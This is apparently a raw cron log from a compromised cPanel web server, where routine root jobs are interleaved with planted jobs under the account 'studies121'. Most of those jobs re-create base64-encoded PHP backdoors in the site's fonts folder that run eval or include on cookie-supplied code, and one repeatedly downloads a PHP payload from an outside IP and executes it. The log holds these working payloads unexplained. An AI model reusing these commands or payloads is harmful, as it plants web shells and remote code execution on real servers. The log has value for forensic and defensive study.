Sep  1 04:24:01 ip-184-168-122-23 CROND[15401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:24:01 ip-184-168-122-23 CROND[15397]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 04:25:01 ip-184-168-122-23 CROND[15514]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 04:25:01 ip-184-168-122-23 CROND[15516]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:25:01 ip-184-168-122-23 CROND[15517]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  1 04:25:01 ip-184-168-122-23 CROND[15518]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 04:25:01 ip-184-168-122-23 CROND[15519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:25:01 ip-184-168-122-23 CROND[15520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:25:01 ip-184-168-122-23 CROND[15521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:26:01 ip-184-168-122-23 CROND[15706]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:26:01 ip-184-168-122-23 CROND[15708]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 04:26:01 ip-184-168-122-23 CROND[15710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:26:01 ip-184-168-122-23 CROND[15711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:26:01 ip-184-168-122-23 CROND[15709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:27:02 ip-184-168-122-23 CROND[15800]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:27:02 ip-184-168-122-23 CROND[15803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:27:02 ip-184-168-122-23 CROND[15802]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:27:02 ip-184-168-122-23 CROND[15805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:28:01 ip-184-168-122-23 CROND[15899]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 04:28:01 ip-184-168-122-23 CROND[15901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:28:01 ip-184-168-122-23 CROND[15903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:28:01 ip-184-168-122-23 CROND[15902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:28:01 ip-184-168-122-23 CROND[15904]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:29:01 ip-184-168-122-23 CROND[16011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:29:01 ip-184-168-122-23 CROND[16010]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:29:01 ip-184-168-122-23 CROND[16012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:29:01 ip-184-168-122-23 CROND[16013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:30:01 ip-184-168-122-23 CROND[16103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:30:01 ip-184-168-122-23 CROND[16104]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 04:30:01 ip-184-168-122-23 CROND[16109]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:30:01 ip-184-168-122-23 CROND[16110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:30:01 ip-184-168-122-23 CROND[16107]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  1 04:30:01 ip-184-168-122-23 CROND[16106]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 04:30:01 ip-184-168-122-23 CROND[16111]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 04:30:01 ip-184-168-122-23 CROND[16116]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 04:30:01 ip-184-168-122-23 CROND[16117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:30:01 ip-184-168-122-23 CROND[16118]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Sep  1 04:31:01 ip-184-168-122-23 CROND[16309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:31:01 ip-184-168-122-23 CROND[16311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:31:01 ip-184-168-122-23 CROND[16312]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 04:31:01 ip-184-168-122-23 CROND[16314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:31:01 ip-184-168-122-23 CROND[16315]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:32:01 ip-184-168-122-23 CROND[16445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:32:01 ip-184-168-122-23 CROND[16447]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:32:01 ip-184-168-122-23 CROND[16448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:32:01 ip-184-168-122-23 CROND[16449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:32:01 ip-184-168-122-23 CROND[16450]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 04:33:01 ip-184-168-122-23 CROND[16556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:33:01 ip-184-168-122-23 CROND[16555]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:33:01 ip-184-168-122-23 CROND[16557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:33:01 ip-184-168-122-23 CROND[16558]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:34:01 ip-184-168-122-23 CROND[16644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:34:01 ip-184-168-122-23 CROND[16646]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 04:34:01 ip-184-168-122-23 CROND[16648]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:34:01 ip-184-168-122-23 CROND[16650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:34:01 ip-184-168-122-23 CROND[16651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:35:01 ip-184-168-122-23 CROND[16780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:35:01 ip-184-168-122-23 CROND[16781]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 04:35:01 ip-184-168-122-23 CROND[16784]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 04:35:01 ip-184-168-122-23 CROND[16787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:35:01 ip-184-168-122-23 CROND[16785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 04:35:01 ip-184-168-122-23 CROND[16786]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 04:35:01 ip-184-168-122-23 CROND[16790]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 04:35:01 ip-184-168-122-23 CROND[16789]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:36:01 ip-184-168-122-23 CROND[16913]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 04:36:01 ip-184-168-122-23 CROND[16916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
